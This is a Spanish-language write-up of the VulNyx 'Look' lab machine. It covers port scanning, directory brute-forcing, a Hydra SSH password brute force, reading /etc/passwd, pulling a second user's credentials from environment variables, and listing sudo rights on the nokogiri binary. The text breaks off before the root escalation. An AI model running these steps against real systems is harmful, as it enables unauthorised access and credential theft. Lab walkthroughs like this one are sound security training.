VulNyx - Look | noname

logo

Brute Force SSH - (Hydra)
Abusing Nokogiri Binary - Sudo Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.85

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.85

PORT   STATE  SERVICE VERSION
22/tcp open   ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open   http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

Fuerza bruta de extensiones .php.

❯ gobuster dir -u http://192.168.1.85 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.85
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 277]
/info.php             (Status: 200) [Size: 69374]
/javascript           (Status: 301) [Size: 317] [--> http://192.168.1.85/javascript/]
/look.php             (Status: 200) [Size: 76]
/.php                 (Status: 403) [Size: 277]

Archivo info.php.

infophp

Archivo look.php.

lookphp

En info.php enumero un usuario del sistema.

user

Con hydra realizo fuerza bruta al servicio SSH con el usuario axel.

❯ hydra -l axel -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.85 -F -I -V
[22][ssh] host: 192.168.1.85   login: axel   password: b****m

Me conecto al sistema como usuario axel.

❯ ssh axel@192.168.1.85
axel@192.168.1.85's password: 
axel@look:~$ id
uid=1000(axel) gid=1000(axel) grupos=1000(axel)

Enumero usuarios del sistema.

axel@look:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000::/home/axel:/bin/bash
dylan:x:1001:1001::/home/dylan:/bin/bash

En las variables de entorno encuentro las credenciales de dylan.

env

Paso de usuario axel a dylan.

axel@look:~$ su dylan
Contraseña: 
dylan@look:/home/axel$ id
uid=1001(dylan) gid=1001(dylan) grupos=1001(dylan)

Una vez como usuario dylan enumero permisos de sudo.

dylan@look:~$ sudo -l
Matching Defaults entries for dylan on look:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dylan may run the following commands on look:
    (root) NOPASSWD: /usr/bin/nokogiri

Reviso el man de nokogiri.

irb